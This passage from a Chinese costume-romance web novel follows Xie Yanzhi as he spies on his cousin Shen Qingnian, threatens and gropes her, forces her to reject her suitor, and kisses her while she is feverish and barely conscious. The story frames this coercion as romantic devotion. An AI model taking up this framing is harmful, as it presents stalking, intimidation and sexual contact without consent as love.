谢宴之又凑到她耳边,鼻尖挑逗着她的耳垂,“求我什么?” “不要这样。” 沈清念已经羞赧到无地自容,耳垂红得要滴落下来。 可谢宴之还不放过她,他的那条腿又向前用力抵了抵,轻飘飘地问道:“不要哪样?” 沈清念抬头,对上他黑沉沉的眸子。谢宴之没说什么,但她已经能感觉到他有多想要她! “表哥……”她是无论如何也说不出那些羞人的话的,只能低着头又是一阵无声地啜泣。 谢宴之轻轻抬起她的下巴,眼前的人儿红红的眼眶里,泪水盈盈。 鼻尖微微有些发红,粉粉的,抿着唇瓣儿,委屈巴巴的模样。 全没了之前的傲气,好像她只是一个柔柔弱弱的小女子,再不会忤逆他,惹他生气。 谢宴之的心也就软了下来。 随即替她整理好衣襟,松了双手,一把将人搂在怀里。 沈清念靠在谢宴之的胸膛上,颤颤巍巍哭起来。 她是真的害怕了!谢宴之就是个魔鬼! 她越哭越厉害,她哭自己一介弱女,无法与他抗衡。 她哭自己的劫后余生,下一次,谢宴之还会这样放过她吗? 谢宴之看着怀里的人哭得愈发厉害,眉头拧紧,他的宠爱对她来说,有这么难以接受吗? 或许她是真的被吓坏了吧。 但看到沈清念倚在他的怀里,像个受了委屈的小媳妇那般哭泣,又让谢宴之的心里得到了极大的满足。 “以后还去不去见别的男人了?” 沈清念哭得伤心,断断续续道:“原本是去见蝶舞姑娘的,不曾想碰到了萧公子。” 根本不是特意去与别的男子见面。 但她又确实与萧怀意约好了提亲的事。今日谢宴之好不容易放过了她,可万不能让他知晓。 思及此处,沈清念转了一个弯儿:“表哥,你为何会知道,难道你在跟踪我?” 谢宴之道:“就知道你是个不安分的。当然得派人跟着你。” 沈清念听到后,挣脱谢宴之的怀抱,故作娇嗔道:“表哥是拿我当那监牢里的囚犯啊?” 谢宴之看着沈清念的那撒娇的小模样,上前从后面抱住她,在她耳边轻轻道:“你是我的人,我总得派人在府外护你周全。” 这就是说谢宴之以后都要派人盯着她的一举一动了。 可萧公子还约了她明日见面。 这下可是遭了。 谢宴之又问道:“今日你与他在别院做什么?” 总不能说萧公子是去那里像她求亲的吧。 “别院里可还有其他人的,并非只有我们二人。表哥可不能胡说。” 沈清念抿着嘴,一副被冤枉的模样。 平安当时也在的,应当还有洒扫的婆子或者丫鬟,不然那院子不可能那么干净。 “只是萧公子之前听我说以后我要接我母亲来京城,他那个别院刚好要租出去,带我去瞧瞧。” “萧公子说他以后不在京城,租给我,正好有人帮忙打扫院子。” 谢宴之把沈清念往怀里捞了捞,捏着她的下巴:“这些事找我就行,不用麻烦别的男人。” “而且,你也不需要出府去住。嗯?” 他的妾室,虽不能住到观澜居,但住个好点的院子,那还是无可厚非的。 沈清念顺从地点点头,又被谢宴之搂在怀里逗弄了一番,才堪堪放开她。 菱儿见小姐从里间里出来,脸颊发红,嘴唇也有些破皮。 菱儿的眼眶一下就红了。 元青见沈清念平安出来了,心里也松了一口气。 他刚刚可是拍着胸脯跟菱儿保证,她家小姐一定没事的。 他转头看了看旁边的小丫头,发现她眼睛红红的,似要掉金豆豆。 元青忙问道:“菱角,你怎么了?” 菱儿狠狠瞪了他一眼,“你不是说我家小姐会没事的吗?” 是没事啊,这清姑娘不是好端端地在那儿吗? 元青也是一脸懵。 “哼,你家大公子打我家小姐了!” 说完,便跑向沈清念,心疼地摸着她的脸:“小姐,还疼吗?” “什么?”沈清念也有些不解。 “大公子怎么能打你呢!” “脸还红着,嘴也破皮了,他怎么能下这么重的手!”菱儿义撑着腰杆儿,生气得很,大有一番要冲上去找谢宴之说道说道的架势。 看菱儿那副模样,沈清念只能拉住她的手,不知如何跟她说。 一旁的元青也只能尴尬地笑笑,他也不知道该怎么跟菱角解释。 有时候吧,他真的很想扒开菱角的脑袋,看看这脑袋里都有些什么! 沈清念拉着菱儿道:“我们快些回去吧。” “你不是还想吃我做的栗子糕吗?” 菱儿这才跟着沈清念走小路回去了。 等沈清念走了以后,谢宴之走到书案旁,摸出那块羊脂玉佩,思索了一会儿。 谢宴之挥了一下手,一个身影不知从哪一下立在谢宴之身旁,凑在耳边对他说了几句后又退下了。 谢宴之此时脸上带着怒意。 沈清念竟然在骗他。 她明晚还要与萧怀意幽会! 刚刚就该狠狠地罚她!只是看到她的眼泪,那楚楚可怜的模样,他又不忍心真的罚她。 既然沈清念不肯与萧怀意断了来往,那就由他亲自去斩断。 “元青!” 谢宴之朝门外喊了一声。 元青大步进来:“爷,有何吩咐?” “拿我的披风来。” 现在都酉时了,爷还要出去?今日还要去陪老夫人用膳,这还去不去了? “爷,今晚还要去问心堂用饭。”元青小声地提醒。 谢宴之倒是把这事忘了,“那就去问心堂陪老夫人用饭!” 谢宴之又招了招手,元青便将耳朵递了过去。谢宴之向他交代了几句后,他便出去了。 此时谢宴之手攥成拳,眼神冰冷地看向浅月居的方向:“沈清念!” 第五十一章 我心悦你,你心悦我吗? 沈清念几乎是逃回浅月居的。 此时她还感觉后背发凉,大抵是走得太快,后背有些汗湿了吧。 她沐浴了一番,换了件干净的衣裳,便早早躺下了。 夜色如墨,清清冷冷的月光洒下来,隔着窗照在纱帐上,帐里的人儿却辗转反侧,无法入眠。 沈清念一整夜都在想着明日与萧怀意有约的事。 谢宴之今日才将她吓成那样,若明日再发现她与萧公子见面,她有种预感,谢宴之不会再放过她。 思及此处,她的眉间染上了些许忧愁。 清晨,伴着竹露滴落的声音,沈清念才堪堪入眠。 菱儿刚掀了帘子进来,沈清念就醒了过来。 菱儿见她的眼下全是乌青,有些心疼。 小姐定是昨日被吓坏了,夜里才睡不着。大公子也太凶了。 看着铜镜里的容颜,沈清念也很快发现自己的眼下是一片乌青。 可她眼下没有心思考虑这些,萧公子今夜相邀,可有谢宴之派人跟着,她要如何才能去赴约? “小姐,我来给你梳头吧。”菱儿拿起梳子,手指挑起几缕头发梳起来。 沈清念心里越发烦闷,也没了梳洗打扮的心思。 “今日不梳头了。”说着,便懒懒地靠到榻上,拿着绣绷绣了起来。 菱儿也搬了小凳子,坐在一旁陪着沈清念绣帕子。 可绣了一会儿,她就发觉不对劲。小姐已经刺了好几下手指了,嫣红的血染在绣帕上的海棠花上,有些鲜亮逼人。 “小姐,你有什么心思吗?” 沈清念这才放下绣绷,她的心不在焉这么明显吗?连素来迟钝的菱儿都看出来了。 “萧公子原本月约我今日去醉风楼为他践行。可世子……” 沈清念说着,眉宇间的哀愁又多了一些。 菱儿这才知道,若大公子知道小姐私自去见萧公子,定会勃然大怒的! “我若不去,萧公子只怕又会误会我,以为我拒绝他的心意。” 沈清念又淡淡开口,语气里满是无奈。 “要不我去醉风楼跑一趟,跟萧公子说说。”菱儿想了下,最后想到了这样一个办法。 沈清念想了想,如今也确实只有这一个办法。 她拿来披风,叮嘱道:“带着披风出去,戴上兜帽,小心些,不要被人瞧见了。” “就说我发了高热,没有力气赴约。待他回来以后,再为他庆贺。” “嗯嗯。”菱儿点点头,拿着披风匆匆走出门去。 沈清念坐在窗前,眼见菱儿进了竹林的小路后,才收回目光。 沈清念拿着刚刚的绣绷有一搭没一搭地绣着,心里有些烦闷。 一阵脚步声传来,有人掀了帘子进来。 但沈清念正在窗边发呆,未曾注意到。 谢宴之低头越过帘子,看见沈清念正倚着窗,用手托腮,神情恹恹的,也没有梳洗,任那黑黑长长的发落在腰间,仿佛一枝梅花,静静地攀在窗边。 “梳洗一番,我带你去天阙楼看烟火。”谢宴之对着沈清念淡淡道。 沈清念被这声音拉回思绪,她回头,惊讶地发现是谢宴之,便起身福了一礼,“表哥。” “去天阙楼?”沈清念来京城不过两三月,并不知天阙楼是什么地方。 “嗯,天阙楼是京城最高的楼,从上往下看,风景是极好的。”谢宴之看她似有疑惑的样子,淡淡解释道。 沈清念看着谢宴之高大的身影挡在窗前,余晖落在他的脸上,一半明亮,一半昏暗,有些看不清他的表情。 不知他为何突然来了兴致,要带她出去。 沈清念又一想,中途寻个理由出去,说不定还来得及去醉风楼见萧公子一面。 于是便坐到了铜镜前,拿起梳子简单梳理了一下,松松地挽上一个髻,拿着披风,就要跟着谢宴之出去。 谢宴之忽然将手伸向她的头发,替她簪上了那支红宝石金簪。 沈清念不知他为何要替她别上簪子,但也没觉得有什么不妥,他愿给便给吧。 便轻轻一声:“多谢表哥。” 今夜的集市热闹非凡,捏糖人儿的,卖冰糖葫芦的,卖古玩字画,杂耍表演喷火吞剑的,应接不暇。 谢宴之带沈清念到了天阙楼的顶上,从这里望下去,京城的繁华尽收眼底。 沈清念不免感叹,不愧是京城第一高楼。 “那里是护城河。”谢宴之指向远处。 沈清念的心思全然不在这里,但她还是顺着谢宴之手指的方向看过去。 只见护城河两岸灯火阑珊,人影绰绰,好不热闹。 忽然,她眼前一亮,对面不远处,竟然就是醉风楼,这让她有些兴奋。 “沈清念?”谢宴之皱着眉,他与她说话,这个女人竟然神游在外。 “嗯?”沈清念疑惑地回头,看着谢宴之拧着眉。 “表哥,怎么了?”沈清念怕惹恼他,赶紧问了一声。 “如果你喜欢,我们年年都来。”谢宴之说着,看了沈清念一眼。 沈清念被他看得有些心虚。 等她与萧怀意成了亲,就要离了京城,可不会跟他年年来。 但她还是冲他笑了笑,点了点头,又转过身去。 此时正逢烟花漫天散开,沈清念笑靥如花,专心赏着人间美景。 忽然感觉脸被人捧着,便见谢宴之往她额上轻轻落下一吻。 “沈清念,我心悦于你,你心悦我吗?” 沈清念看着谢宴之,一身绯色衣袍,玉冠束发,眉目俊朗。 他清明的眸子里有灯火的闪烁的影子,还有她在他眼里的模样。 他看她的眼神是那样的灼热,让她有些想闪躲。 沈清念想,除去他缠着她的时候强势又偏执,惹人厌烦。 别的时候,他还真的能称得上是陌上人如玉的翩翩公子。 还未听到沈清念的回答,外面就进来一个侍卫,站在远处行礼。 谢宴之走过去,那侍卫凑在谢宴之耳边说了些什么。 谢宴之眉头一皱,那侍卫便退了下去。 沈清念瞧着,怕是有什么要紧的事。 谢宴之快步朝她走过来,将她拥在怀里:“我须得离开一会儿。” 沈清念心里有一丝欢喜,她终于可以去见萧怀意了。 蓦地又听见谢宴之的清冷的声音:“沈清念,你心里到底有没有一点儿喜欢我?” 第五十二章 令人羞耻的印记 见沈清念不说话。 谢宴之捏住她的下巴,迫使她抬起头。 沈清念抬眼看见谢宴之漆黑如墨的眸子,像潭水一样深不见底,似乎一眼能将她看穿。 她心下腹诽,能不能不要这么强人所难? 难道她表现得还不够明显吗? 看谢宴之那探究的目光,显然她不说,谢宴之就不会走。 沈清念现在记住了大黑脸的毛是要顺着捋的。 于是,她面上带着笑,没有说话,只往谢宴之怀里钻了钻。 她只想谢宴之赶紧走,要不然就来不及见萧怀意了。 谢宴之虽没有听到她亲口说出来,但沈清念已经用行动表明了她的心意了,不是吗? 他这才满意地放开人,匆匆往外走。 走了一段儿又似不放心般,回头看了沈清念一眼。 沈清念见谢宴之又停下来看她,眼里有些不舍,便冲他笑了一笑,示意他安心,谢宴之这才转身下楼。 沈清念倚在栏杆上,见谢宴之骑上高头大马,朝城外的方向而去。 她迅速地转过身来,戴上帷帽,对旁边的侍卫道:“这位大哥,我想去一下恭房,劳烦让一下。” 侍卫眼瞅了她一眼,到底是个女子,他一个男子跟着也不方便。 反正恭房就在楼下不远,那侍卫便道:“请姑娘速去速回。” 沈清念点了点头,提着裙摆,蹑手蹑脚地下了楼,从摘星楼的后面绕了出去。 此刻,在醉风楼的门前,平安正在那里张望。 公子让他下楼来接沈姑娘,可时辰早过了,沈姑娘却迟迟没到。 他一直望着街的那头,却没留意身后来了一个醉酒的大汉。 那大汉一个趔趄将平安撞倒在地。 “兄弟,你没事吧,对不住了!”那大汉揉揉眼睛,才发现自己撞倒了人,赶紧弯下腰去,要将平安扶起来。 此时,匆匆赶来的沈清念刚跨进门槛。 平安被大汉挡住了视线,并未瞧见沈清念进去了,二人刚好错过。 平安拍了拍身上,看着大汉一脸歉意,摆摆手:“没事,没事。” 又回过头来看着街那头,只盼着沈姑娘早点来。 沈清念进了屋子就往柜台走去:“掌柜的,请问萧公子的包间在哪里?”掌柜的抬头,见是个戴帷帽的女子。 他想起刚刚那萧公子吩咐过,若是一个女子来找他,就将人带上去,可领赏钱。 掌柜的便放下账本,热情地将她领上楼,上楼拐了一个弯儿后,掌柜的带她停在一个雅间前。 “姑娘,就是这里了。”掌柜的指着门。 “多谢掌柜的。”沈清念朝那掌柜的福了一礼。 那掌柜的也转身下楼了。 沈清念立在门口,擦了擦头上的细汗,又整理了一下衣襟,这才扣了扣门,进到屋子里。 只见萧怀意披着披风,手上还拿着把折扇负在身后,直直地立在窗边,也不知在看什么。 沈清念也有些好奇萧怀意在看什么这么出神,连她进来了也不曾察觉。 她静静地走过去,两手扒开帷帽往外看,并没有什么特别的风景,不禁扭头问道:“萧公子,你在看什么?” 话音刚落,一道冷冽的声音便落入耳中。 “沈清念,你好好看清楚我是谁?”谢宴之说着,一把拿掉了她的帷帽。 看清眼前人,沈清念的脸一下变得惨白,手和脚不停地颤抖起来。 怎么会是谢宴之!!! 谢宴之扔掉了她的帷帽,一步步向她逼近,阴翳的眼睛直直盯着她,“你说的你们已经没有干系了,今日这遭又是什么?” “沈清念,你当我是傻子吗!” 沈清念连忙后退,朝着身后的屋子退去,边退边解释:“我并没有说我和萧公子没有干系了。” 退无可退,沈清念的腰一下子撞在桌子上,来不及反应,身子就笼罩在一片黑影中。 谢宴之一手撑在她身侧,一手用扇子挑起她的下巴,脸直直地逼近她:“那你得意思是,是本世子理解错了?” 沈清念却是紧紧咬着嘴唇,半天发不出一个音。 谢宴之深深蹙了蹙眉,又慢慢直起了身,“你不是想见萧怀意吗?我现在就带你去。” 沈清念抬眸,虚虚地看了他一眼,见谢宴之脸上十分平静,怒意仿佛已经消散殆尽了。 可沈清念心里还是觉着微微发麻,总有一种暴雨欲来的感觉。 “我正好想问问他知不知道这是什么!” 谢宴之说着,眼神一沉,一把扯下她的衣服,露出肩上的刺眼的红痕。 沈清念吓得双手环抱,努力遮住那雪白肌肤上令人羞耻的印记。 她这个样子去让萧怀意见到,萧怀意会怎么看待她? 一个为了高枝儿攀上自己表兄的荡妇? 还是一个自甘堕落的不要脸,到处勾搭人的表小姐? 就算与萧怀意结不成亲,她也不想被他看到她这副不耻的模样。 可要怎么做,谢宴之才能放过她? 沈清念急得眼泪蓄满了眼眶。 “跟我来!”谢宴之一把提起她胸前的衣襟,就要把人往房外拉。 “我们现在就去见你的萧公子,让他看看你这副下贱的模样!” “看他还会不会要你!” 谢宴之身材高大,力气又大得惊人。 沈清念被他拽着,根本挣脱不得,眼看门就要被打开,她再也绷不住,眼泪被逼得掉了下来。 “我错了。”沈清念哭着说道。 她希望谢宴之能看在她主动认错的份上,放过她。 可谢宴之却并没有要放过她的意思,手上的力道仍是不减。 就在谢宴之要打开门的时候,沈清念转过身去,用身子挡着门,双手勾住谢宴之的脖子,窝在他的怀里哭得厉害。 “表哥,我错了,我以后再不会与萧公子见面了。” 谢宴之动了动,想要掰开沈清念的手,沈清念又将脸贴上了他的脖子。 “表哥,我现在就去与他说清楚,以后不要再来找我了。” 谢宴之将她的手从脖子上扯下来,有些嫌恶地推开她,右手搭上门栓。 下一秒,他的手背上又覆上一只纤纤细手。 沈清念从背后环腰抱住了他,脸贴在他的背上喃喃道:“我是表哥的人,往后只跟表哥在一起!” 第五十三章 你叫得大声一些,就不用麻烦 谢宴之的手这才松开了门栓儿,双手解开了环在腰上的手,转身坐到了前面的凳子上。 沈清念也跟过去,要往对面坐时,谢宴之大手一捞,就将人给摁到腿上坐着。 沈清念本能地伸出手撑住他的肩,好让自己的身子离得远些。 谢宴之又将她换了个姿势,一只大手按住那两只白皙的小手,另一只大手,环上了她的腰。 “怎么,不乐意?”谢宴之挑眉看着她。 他这会儿还愿意抱着她,她应该庆幸了。 沈清念摇摇头,最终还是战胜了心里不愿的情绪,任由他抱着。 她害怕惹怒谢宴之。 怕她的不堪被萧怀意撞见。 她略微犹豫了一下,小声地开口:“表哥,能否让我自己去和萧公子说?” 她实在是不敢想与谢宴之一起去的话,会惹出什么样事来。 “也不是不可以?” 沈清念的眸子一亮,喜悦一闪而过。 “我先在此处将没做完的事做了,你再过去同他说。” “不过他就在隔壁,你叫得大声些,也就不用麻烦了。” 谢宴之平静地说着,环在腰上的手要往下摸去,隔着裙子摩挲。 他都忍到这份儿上了,沈清念居然还想着要迂回,想着要骗他。 他仔细看了看那张脸,现在眼眶还是红的,秀气的小鼻还有些粉,饱满的嘴唇轻轻抿着,委屈巴巴的样子。 谢宴之忽然冷嗤一声,他总是被她这副楚楚可怜的模样欺骗。 不由得又往深了探去。 沈清念浑身紧紧绷住,细长的腿用力夹紧,抵抗着那蠢蠢欲动的侵入。 不用看谢宴之的脸,她也知道他刚消的怒意又涌了起来,才说出那些无耻的话,做出这样无耻的举动。 她感受着那大手的灼热,脸烧成了一片。 此时隔壁传来平安的有些着急的声音:“公子,都这个时候了,沈姑娘怕是不会来了。” “嗯,确实得走了。” 萧怀意温润的声音传来,有些无奈。 萧景意的马车已经在外面等了很久了,还带了两队人马,生怕他跑了。 他只是有些不甘。 他这一走,不知下次与沈姑娘见面又是何时。 他也有些不明白,为何每次约沈姑娘,她最后都没能赴约。 心里也隐隐传来不安,冥冥中,就像他们二人有缘无分一般。 听到萧怀意说要走,沈清念的心里松了下来。 她心里盼着萧公子快点走,这样日后二人还有回旋的余地。 “表哥,萧公子走了。”沈清念轻轻说着,语气里带着一丝轻松。 下一刻却听见萧怀意说:“再等会儿沈姑娘吧,她或许是有什么耽误了。”声音里没有一丝不耐。 谢宴之见沈清念捏着帕子的手紧了紧,将帕子捏出一片褶皱。 他冷嗤一声,而后又拍了拍沈清念的屁股:“起来,该过去了。” 非得去吗?她是真的不愿去。 “还在磨蹭什么?”谢宴之的眉眼染上薄薄的怒意。 沈清念心知谢宴之已经不耐烦了,她还是拉了拉谢宴之的袖子,懦懦出声:“表哥。” 谢宴之挑眉,眼神里都是警告。 沈清念声若蚊呐:“等会儿还请表哥给我体面。” “你觉得自己有什么资格提条件?” 一个满嘴谎话的,践踏他真心的,不安分的女人! 谢宴之扯着她的手臂,就来到了萧怀意的雅间外。 沈清念有些局促不安,谢宴之却不给她任何反悔的机会,直接伸手,替她扣响了房门。 里面的人很快过来打开了门。平安见是沈姑娘,他高兴得朝屋里喊了一声:“公子,沈姑娘来了!” 终于来了! 萧怀意一下从凳子上站了起来,满面春风地起身去门口:“沈姑娘!” 沈清念看到萧怀意那欣喜的模样,一股酸涩涌上心间,千言万语,如鲠在喉。 沈清念原以为自己会隐藏好情绪,可看见萧怀意的那刻,眼眶还是忍不住泛了红,心底涌起一阵心酸。 萧怀意看着沈清念泫然欲泣的模样,不禁皱起了眉。 又见沈清念一直看着他。 难道沈姑娘是在不舍他? 想到这里,他伸出手,欲替她擦泪。 可旁边一只手挡住了他。 萧怀意这才看见隐在暗处的谢宴之,便朝他道一声:“宴之兄,你也来了。” 微弱的烛火映在谢宴之的脸上,看不清他脸上到底是何种表情。 “怎么,我来不得吗?”谢宴之冷冷的回答。 看到沈清念欲语泪先流的样子,他就攥紧了拳。 为了一个别的男人,她居然伤心成那样。 萧怀意没想到他与沈姑娘的兄妹情谊这么深厚,竟会陪着沈清念一起来赴约。 只是听宴之兄的语气,他好像对他有些不满。 “快请进。”萧怀意笑笑,将二人请进来坐下。 “沈姑娘,坐。”萧怀意示意沈清念坐在他边上。 沈清念察觉一道犀利的目光落在身上,如芒在背。 她回头看了眼谢宴之,见谢宴之用食指扣着桌面,神色淡淡。 她明白他的意思。 便对萧怀意说道:“萧公子,我坐那儿就行。” 说着,便走到谢宴之身侧坐下,忽然觉得腿上一沉,低头看去,谢宴之的手正放在她腿上,有一下没一下地摩挲。 沈清念紧张得心都要跳出来了,只得拿了帕子挡在上面,害怕被萧怀意看见。 萧怀意一愣,随即又恢复了神色,坐了下来。 他总觉得今晚氛围有些不对,但他又说不上来。 三人一时无话,萧怀意先端起酒杯敬向谢宴之:“宴之兄,好久不见。” “你回来做什么?”谢宴之眼皮都没抬起的说了一句。 萧怀意一下被酒呛到,他也没想到谢宴之竟会这样说。 他这话是什么意思?在责怪他上次不告而别,害沈姑娘伤心了? 萧怀意带着歉意道:“上次不告而别,怕沈姑娘误会,便提前回来与姑娘说清楚。” “你不回来最好!” 沈清念听着谢宴之的话越来越不对劲,心都快要跳出来了,指尖捏着帕子在一旁紧张地看着谢宴之。 萧怀意又愣了一下,谢宴之似乎有意刁难他,他想了想说道: “我与沈姑娘相识,多亏了宴之兄,我敬宴之兄一杯。” “确实是我失策!” 萧怀意听这话,越来越琢磨不透,从前怎么不知谢宴之也会像个府上的婆子们一样阴阳怪气的。 沈清念的手不自觉地抖了起来,盼着萧怀意不要再说了。 萧怀意也不去在意谢宴之的话,只觉得他还在替沈清念抱不平。 又举起杯子:我与沈姑娘两情相悦,宴之兄放心,我定上门提亲。” “表妹,你们两情相悦吗?” 谢宴之转过头看着沈清念,大手在她的腿上捏了一把。 沈清念吃痛,眉头皱了皱,咬住嘴唇不敢漏出一丝声音。 谢宴之铁青着脸,眼里的寒光,上下扫视着她,令她浑身不自在。 忽然那大手又往上游走了一些,摸索到那纤纤细腰上,要去解开那刺绣精美的腰带。 第五十四章 别忘了答应过我什么 “不!” 沈清念在恐惧中挤出来一个字。 谢宴之的手指松松勾住腰带,“表妹,你说什么?” 萧怀意终于发现了沈清念的异常。 他才发现面前的沈姑娘此刻脸色发白,嘴唇有些微微颤抖。 沈清念别过脸,咬了咬唇,又吐出几个字:“萧公子,若我之前有什么令公子误会的地方,请公子原谅。” “沈姑娘!昨日……” 萧怀意大感意外,昨日她还羞羞怯怯地让他早日来提亲,才一夜的功夫,怎么就不愿了。 “沈姑娘,是不是有什么人胁迫你了?” 萧怀意只能想到这个缘由。一个身份卑微,又如此貌美的表小姐,打她主意的人应当很多。 听到被人胁迫,沈清念突然觉着眼眶发酸,酸到眼泪都要溢出来。 来京城这么多天,经历这么多事,终于有人关心她是否被人胁迫了。 她的心里满是苦涩,他是唯一在乎她感受的人,但她就要去伤害这个人了,要跟他断了关系了。 沈清念能感受到拉腰带的手又加大了力道,是谢宴之暗示她快点断了萧怀意的念想。 她抬头看着萧怀意满是深情的眼,手指缱绻在一起,似下了很大的决心般,缓缓开口。 “萧公子,我昨晚收到家中母亲的信,才知我自幼便与旁人定了亲,要不了多久就要回去成亲了。” 谢宴之听她这样说,心里不禁有些鄙夷,还真是爱撒谎,谎话连篇,张口就来。 “我祝公子早日觅得良缘,幸福顺遂。” 温柔的声音响起,落在萧怀意耳中却是那样的刺耳。 “哐当”一声,萧怀意手中的杯子掉落在桌上,他又伸手将杯子拿起来。 看着他如遭雷击的模样,沈清念只觉嘴角发酸,酸到只能张嘴,想要安慰他,却发不出声音。 她是真的想过和他过一生的。 “沈姑娘!你……” 萧怀意盯着沈清念,想要看她脸上是否有异样,最后却是什么都没有发现。 沈清念艰难地站起来,对着萧怀意福了一礼,转身走出门去。 萧怀意起身想去追,却被谢宴之拦住。 又是“咚”的一声,有东西落在了桌子上。 “这东西是你的?我替表妹还给你。” 谢宴之说着,便留下萧怀意与平安在屋子里,追着沈清念下楼出了门。 萧怀意看着桌上自己送的玉佩,一言不发,久久回不了神。 元青一直守在车里,见谢宴之和沈清念过来,忙搬来凳子,又掀开帘子,让谢宴之和沈清念上马车。 沈清念也不知自己是怎么从楼上走下来的,她只知道此刻不能表现得太过伤心,以免惹怒谢宴之, 都时候还会害了萧怀意。 菱儿此时被捆了手脚,她只能靠在车窗边看外面的情形。看见小姐下来,她嘴里只能发出呜呜的声音,可惜小姐并没有听见。 元青见马上就要回府了,便帮菱儿扯下了嘴里的布,再将披风搭在她腿上:“夜里凉。” 菱儿瞪了他一眼,侧着头不理他,只看向车窗外。 马车跑起来时,风吹动帘子掀起了一角,平安瞧见了菱儿,向那辆马车跑了过去,撑开双臂挡在马车前。 元青面上一惊,急忙勒停了马车,有些生气地问道:“你干什么?不要命啦!” 平安从袖子里掏出一个小纸包,“元青,我给菱儿送点松子儿。” 刚刚马车突然停下,菱儿来不及反应,就重重栽在榻上,眼下很是不高兴。 突然听到窗边有人喊自己:“菱儿妹妹。” 菱儿费力地坐起身来一看,竟是平安。 “平安哥!”菱儿见到平安有些开心,喊了一声。想伸手卷起车帘,才想起手和脚还被帮着,脸上的神采又消失了,忍不住泛起了心酸。 她好想告诉平安哥她现在被绑起来了,让萧公子快来救她们。 可元青绑她的时候说过,若是闹得大家都知道了,小姐的名声就保不住了,还有可能连累萧公子。 毕竟大公子可是手握实权的世子。 所以她不能让平安哥看到她这副样子。 便将手往披风里放了放。 “菱儿妹妹,这松子儿你收好,我和公子此次离京,不知何时才会回来。” “哦。”菱儿细细的应了一声。原来平安哥是来向她告别的。 看着那包松子儿,她很想接,可是接不了。 见菱儿不接,平安直接将松子儿隔着帘子扔进了软榻上。 正要开口说话,元青就驾着马车走了。 “元青!”菱儿喊了一声。 “爷和清姑娘他们已经走远了,我们得赶紧跟上。” 元青说完这句话,便不再理会菱儿。他觉得有些愧对她。 今日一早他便奉爷的吩咐,将浅月居里跑出来的人绑了。 原本瞧了半天也没人出来,没想到最后是菱儿呆头呆脑地拿着披风闯入了他的视线。 马车到了侯府,沈清念一言不发地跟在谢宴之身后,眼看到了路口,谢宴之回过头,见沈清念除了一路上没有说话外,一切神色如常。 又是平日里那副端庄的小姐模样。 他眉头一皱,这个女人还真是拿得起放得下。他都有些佩服。 明明在见萧怀意之前,还表现得十分不舍,现在与萧怀意断了,倒是反应平平,没有半分哭闹。 她心里到底在乎什么? “下个月初七是个好日子。”谢宴之负着手,轻飘飘说道。 沈清念蓦然抬头,一脸惊诧。 谢宴之捕捉到她的变化,凑在她耳边道: “你别忘了刚刚答应过我什么!” 第五十五章 把他从你的梦里赶走 她答应过要跟表哥在一起,他就这么急不可耐吗? 眼下离下个月初七,也就十几天了。 “好好准备一下!到时候会有人来接你。” 谢宴之说完,迈着步子朝观澜居去了。 沈清念抬头看看天上的月,好让自己眼眶的泪不要垂下来。 刚刚压抑的情绪此刻像洪水宣泄而出。 那样温润的脸庞,那样温暖的眉眼。 明明幸福就在眼前! 她当真与萧公子此生缘尽了。 今夜的月色是那么的暗,暗到她看不清前路在哪里。 月光倾洒,竹林投下斑斑驳驳的影子,像一个个张开獠牙的野兽,要将她撕碎。 她真的只能沦为别人的玩意儿吗? 谢宴之说她下贱! 是谁把她变成那般下贱的! 她到现在为止,也不知道谢宴之为何要揪着她不放。 他救过她,也亵玩她,如今还毁了她看好的亲事,唯有一种解释,那就是谢宴之天性就是阴沉善变的。 还有几日就要成为他的妾室,任他玩弄。 最可悲是几乎没有人来救她。 沈清念忍不住哆嗦起来,伸手环抱住自己,踉踉跄跄地往浅月居走去。 菱儿才追上来,就见着小姐直直地朝地上栽去。 “小姐!”菱儿发出一声尖叫,快步跑过去…… 沈清念只觉得自己浑身难受,像在火海里翻滚,炙热难耐,喘不上气。 下一瞬又落入冰窟中,冻得她浑身打颤。 半醒半梦间,她隐约看到一个高大的影子坐在床前,拿着帕子给她擦汗。 手指纤长,骨节分明,那模糊的轮廓看起来是男子,可是男子怎么会来她床前呢? 那手将帕子放进盆里,又拧干了擦在她的额上,一下一下,温柔又周到。 这么温柔的男子,只有萧怀意了。 沈清念动了动干燥的嘴唇,可用尽了力气,也说不出完整的话来。 她模糊地看见那影子向她靠近,侧着耳朵来听她在说什么。 沈清念试着再次开口,说出了几个字。 谢宴之见床上的人儿烧得惨白的脸,额上出了密密的汗,有浑身打颤。 那长睫一眨一眨地,却睁不开眼, 嫣红的小嘴儿张着,像是要说什么。 他俯身下去,只听见她说:萧—怀—意。 谢宴之愣了一下,一把将帕子砸在铜盆里,溅起不少水花,将帐子都打湿了。 菱儿在外面听到声音,心又揪了起来,小姐还昏睡着,不知大公子为何又发了脾气。 听着那水声,她好怕是大公子要用盆溺死小姐! 她想要进去看看,元青却在一旁挡着。她只能搓着手在门口走来走去,干着急! 谢宴之眼神阴沉地盯着沈清念,心里早已是滔天的怒意。 连她的梦里都是萧怀意吗? 他轻轻抚上她的发,在她耳边轻轻问她:“沈清念,那我算什么!” 说完,便发狠地吻上那充满香气的唇瓣。 睡梦中人儿察觉被堵住了嘴,她使劲挣扎起来,嘴里发出呜呜声。 可她越是挣扎,那堵住唇的冰凉的,软软的东西就越来越过分,有什么东西生生撬开了她的齿贝往里钻去,压住了她的小舌。 她忽然知道了,是有人在吻她! 那吻汹涌又霸道,她被吻得几乎要窒息,伸着脖子努力地想要汲取氧气, 那人却死死地扣住她,那唇越来越往她的喉间顶去,逼迫她仰着头,发出阵阵吞咽声。 是谢宴之!只有谢宴之吻过她!连在梦里,谢宴之都不放过她! 沈清念趁着换气的间隙,重重地咬下一口。 谢宴之闷哼一声,放开了那片唇。 “谢宴之!”沈清念弱弱地喊了一声,随后又昏昏沉沉地睡过去了。 听到沈清念在梦中喊了他的名字,谢宴之心里畅快了许多。 他用指腹擦去唇角的血迹,看着昏睡的人儿,笑道:“终于把萧怀意从你的梦中赶走了。” 过了三日,日落夕沉时,沈清念才醒了过来。 她睁开眼,发现菱儿正支着手,头一点一点地在床边打着瞌睡。 沈清念看着那团毛茸茸的脑袋,心下感慨,她现在只剩下菱儿了。 她轻轻拿起床边的薄毯,支起身子,将毯子搭在菱儿身上。 菱儿感觉到身上沉了一些,似有东西铺在了自己身上,她缓缓睁开眼,见自己身上多了一层毯子。 又见沈清念醒了,正坐在床边,充满怜爱地看着她。 “小姐!你终于醒了。”她紧紧握住了沈清念的手,眼泪一下就滴落下来,砸在被子上。 “我都要担心死了。”菱儿说着,带着长长的哭腔,把这几日的担惊受怕都苦了出来。 沈清念忙扯下侧边的帕子,替她擦泪,轻轻哄道:“别哭了,你看我好好的呀。” 菱儿这才慢慢止住了哭声。 